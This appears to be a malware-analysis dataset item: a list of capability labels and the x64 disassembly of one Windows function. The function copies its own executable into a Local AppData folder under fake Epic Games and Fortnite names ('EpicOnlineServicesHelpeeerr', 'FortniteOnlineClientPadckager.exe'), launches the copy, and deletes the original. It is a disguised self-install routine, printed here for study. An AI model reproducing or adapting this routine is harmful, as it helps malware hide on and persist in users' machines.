Function at 0x140003be0
Capabilities:
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rbp + 0x350], rax
xor r15d, r15d
mov byte [0x140014098], 1
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140004271
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 8]
call fcn.140005010
nop
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x18]
lea r14, [rdx + rax*2]
lea rbx, [rbp + 8]
cmova rbx, qword [rbp + 8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
movabs rdi, 0x7fffffffffffffff
movabs r13, 0x8000000000000000
mov r12d, 0x16
cmp rbx, r14
jne 0x140003cb7
mov ecx, r15d
mov qword [rbp - 8], rcx
mov edx, 0xf
mov qword [rbp], rdx
mov byte [rbp - 0x18], cl
jmp 0x140003da4
sub r14, rbx
sar r14, 1
mov qword [rbp - 8], r15
mov qword [rbp], 0xf
cmp r14, rdi
ja 0x1400042b3
mov esi, 0xf
cmp r14, rsi
jbe 0x140003d61
mov rsi, r14
or rsi, 0xf
cmp rsi, rdi
jbe 0x140003d1d
mov rsi, rdi
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.14000d3b0
mov rcx, rax
test rax, rax
je 0x140004221
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp - 0x18], rax
mov qword [rbp], rsi
jmp 0x140003d65
cmp rsi, r12
cmovb rsi, r12
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140003d3a
mov rax, r15
mov qword [rbp - 0x18], rax
mov qword [rbp], rsi
jmp 0x140003d65
cmp rcx, 0x1000
jb 0x140003d52
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400042a7
jmp 0x140003cf3
call fcn.14000d3b0
mov qword [rbp - 0x18], rax
mov qword [rbp], rsi
jmp 0x140003d65
mov rax, qword [rbp - 0x18]
lea r8, [rbp - 0x18]
cmp rsi, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, r14
test r14, r14
je 0x140003d93
nop dword [rax]
movzx eax, byte [rbx]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rbx, [rbx + 2]
sub rdx, 1
jne 0x140003d80
mov qword [rbp - 8], r14
mov byte [r8 + r14], 0
mov rdx, qword [rbp]
mov rcx, qword [rbp - 8]
mov rax, rdi
sub rax, rcx
cmp rax, 1
jb 0x1400042b9
lea r9, [rbp - 0x18]
cmp rdx, 0xf
cmova r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], 1
lea rbx, [0x14000f97c]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x78]
call fcn.140006a20
nop
lea rdx, str._77EpicOnlineServicesHelpeeerr
lea rcx, [rbp - 0x78]
call fcn.140005160
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r15
mov byte [rax], 0
mov r8d, 1
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.140005540
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140003ea5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ea0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ea0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d634
movdqa xmm0, xmmword [0x140010040]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140003efe
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ef1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ef1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d634
movdqa xmm0, xmmword [0x140010040]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov r8d, 0x104
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rax, [rbp + 0x30]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003f30
cmp rbx, rdi
ja 0x1400042a1
cmp rbx, 0xf
ja 0x140003f80
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 0xf
mov r8, rbx
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x48], 0
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x48]
jmp 0x14000400a
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140003faf
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.14000d3b0
test rax, rax
je 0x1400040d4
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140003fe8
mov rdi, rax
cmp rax, 0x16
cmovb rdi, r12
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140003fc8
mov rsi, r15
jmp 0x140003fe8
cmp rcx, 0x1000
jb 0x140003fe0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400042ad
jmp 0x140003f90
call fcn.14000d3b0
mov rsi, rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rdi
mov r8, rbx
lea rdx, [rbp + 0x30]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea r12, [rbp - 0x38]
mov r15, qword [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova r12, r15
lea r13, [rsp + 0x48]
cmp rdi, 0xf
cmova r13, rsi
mov r14, qword [rbp - 0x28]
cmp r14, rbx
ja 0x1400040a2
sub rbx, r14
test r14, r14
jne 0x14000403d
xor ebx, ebx
jmp 0x1400040a9
lea rax, [rbx + 1]
add rax, r13
mov qword [rsp + 0x40], rax
movsx edx, byte [r12]
mov r8, rax
sub r8, r13
mov rcx, r13
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400040a2
nop dword [rax]
nop dword [rax + rax]
mov r8, r14
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400040db
inc rbx
mov r8, qword [rsp + 0x40]
sub r8, rbx
movsx edx, byte [r12]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140004070
mov rbx, 0xffffffffffffffff
cmp rdi, 0xf
jbe 0x1400040ec
lea rdx, [rdi + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400040e0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rbx, r13
jmp 0x1400040a9
mov rcx, rsi
call fcn.14000d634
mov r15, qword [rbp - 0x38]
cmp rbx, 0xffffffffffffffff
jne 0x14000419d
lea rcx, [rbp - 0x38]
call fcn.140005150
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea r8, str._77FortniteOnlineClientPadckager.exe
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x58]
call fcn.140005a60
mov rcx, rax
call fcn.140005150
mov rdx, rax
xor r8d, r8d
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp - 0x58]
call fcn.1400051f0
lea r8, str._77FortniteOnlineClientPadckager.exe
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x58]
call fcn.140005a60
mov rcx, rax
call fcn.140005150
mov r8, rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp - 0x58]
call fcn.1400051f0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rax, qword [rbp - 0x20]
cmp rax, 0xf
jbe 0x1400041db
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400041d3
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14000d634
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14000422e
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004228
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004228
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d634
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140004271
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000426c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000426c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d634
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.14000d390
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001300
nop
call fcn.140001260
nop
call fcn.140001260
nop
call fcn.140001300
nop
call fcn.140001300
int3